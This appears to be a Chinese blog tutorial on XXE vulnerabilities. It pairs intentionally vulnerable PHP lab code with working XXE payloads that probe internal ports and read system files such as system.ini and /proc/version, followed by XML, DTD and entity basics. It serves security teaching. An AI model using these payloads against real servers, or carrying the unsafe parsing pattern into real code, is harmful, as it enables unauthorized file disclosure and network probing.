XXE漏洞

如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞

漏洞利用流程

1.客户端发送xml文件,其中dtd存在恶意的外部实体引用

2.服务器进行解析

3.服务器返回实体引用内容

危害:任意文件读取,系统命令执行

实例

靶场代码[可替换为pikachu靶场]

<head><meta charset=utf-8>
	<title>xxe测试</title>
</head>
<body>
	<form action='' method='post'>xml数据:<br>
		<textarea type="text" name="data"></textarea>
		<br><input type='submit' value='提交' name='sub'>
	</form>
</body>

<?php
  date_default_timezone_set("PRC");
  if(!empty($_POST['sub'])){ 
  	$data= $_POST['data'];
    $xml = simplexml_load_string($data);
    print($xml); 
  }
?>

页面效果

1.使用xxe获取服务器端口信息

paylod

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "http://127.0.0.1:3306">]>

<BookInfo>
&xxe;
</BookInfo>

运行逻辑

  • 当XML文档被一个存在xxe漏洞的XML解析器处理时,解析器会首先解析DTD部分,包括其中的外部实体定义。
  • 然后,解析器会尝试解析xxe实体,根据定义,会向http://127.0.0.1:3306发起请求,尝试获取数据。
  • 如果端口开启,会正常响应,如果关闭页面加载异常

2.任意文件读取

paylod

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "file:///c://windows//system.ini">]>

<BookInfo>
&xxe;
</BookInfo>

在一些XML解析器中,使用两个斜杠可以确保路径被正确解析,尤其是在跨平台环境中。例如,Windows系统通常使用反斜杠(\)作为路径分隔符,而UNIX/Linux系统使用正斜杠(/)。通过使用两个斜杠,确保路径在不同的操作系统中都能被正确解析。

windows路径:file:///c://windows//system.ini

linux路径:file:///proc/version

XML基础

XML翻译为可扩展的标记语言,与html相比,XML可自定义文档标签,扩展性较强

用途:存储配置文件,数据交换

XML格式要求

XML文档必须有根元素
XML文档必须有关闭标签
XML标签对大小写敏感
XML元素必须被正确的嵌套
XML属性必须加引号

基础XML内容

<?xml version="1.0" encoding="UTF-8"?>
<BookInfo>
    <Book>
        <Title>书名</Title>
        <Author>张三</Author>
        <Publisher>出版社</Publisher>
        <PublicationYear>2024</PublicationYear>
        <ISBN>6226097558881666</ISBN>
        <Genre>类型</Genre>
        <Price>1000</Price>
        <Description>书籍简介</Description>
    </Book>
    <Seller>
        <Id>6222083803003983</Id>
        <Name>李四</Name>
    </Seller>
</BookInfo>

文档构成

文档第一行为xml声明文件描述xml版本及编码信息

<?xml version="1.0" encoding="UTF-8"?>

文档根元素为 <BookInfo> 闭合标签为 </BookInfo>

文档根元素下具有 <Book> 和 <Seller> 子元素

其子元素下,有若干个子元素进行信息的包含。如书籍的,作者[张三],年份,类型。购买者的信息如 序列号和姓名

这些元素构建成了·xml文档对信息进行描述和传递

XML文档规范

当xml文件内容过多时,为防止内容混乱

引入了DTD(文档类型描述)用于声明文档结构

DTD定义了文档结构及元素的规则

DTD构成

DTD主要由一系列关键字构成,这些关键字定义了XML文档的结构和规则

<!DOCTYPE BookInfo [
<!ELEMENT BookInfo (Book, Seller)> <!-- 定义根元素BookInfo,包含Book和Seller两个元素 -->
<!ELEMENT Book (Title, Author, Publisher, PublicationYear, ISBN, Genre, Price, Description)> <!-- 定义Book元素及其子元素 -->
<!ELEMENT Seller (Id, Name)> <!-- 定义Seller元素及其子元素 -->
]>

 1. 文件类型声明 : !DOCTYPE

关键字DOCTYPE 表明此文件根元素为BookInfo

 2.  [...] : 方括号内的部分是DTD的内部子集。包含了元素和属性的定义。

 3. 元素定义:<!ELEMENT BookInfo (Book, Seller)>

关键字ELEMENT 定义元素下有哪些子元素

DTD实体的定义

实体 相当于提前定义的全局变量的值,可在文档中进行引用

实体的定义

关键字:ENTITY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>

内部实体的引用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
<BookInfo>
<name>&name;</name>
</BookInfo>

页面效果

外部实体文件及引用

外部实体文件

<!ENTITY name "xiaoming">

文件引用 

DTD关键字SYSTEM引用本地dtd文件,并使用file进行文件的读取

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE BookInfo[<!ENTITY name SYSTEM "file:///D:/test/test.dtd"    >

]>

<BookInfo>
<name>&name;</name>
</BookInfo>

完整的xml文档内容

<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?>

<!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!-- 外部实体声明 -->
<!ENTITY entity-name SYSTEM "URI/URL">

<!-- 第三部分:文档元素 -->
<note>
  <to>Dave</to>
  <from>GiGi</from>
  <head>Reminder</head>
  <body>fish together</body>
</note>

 

 

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部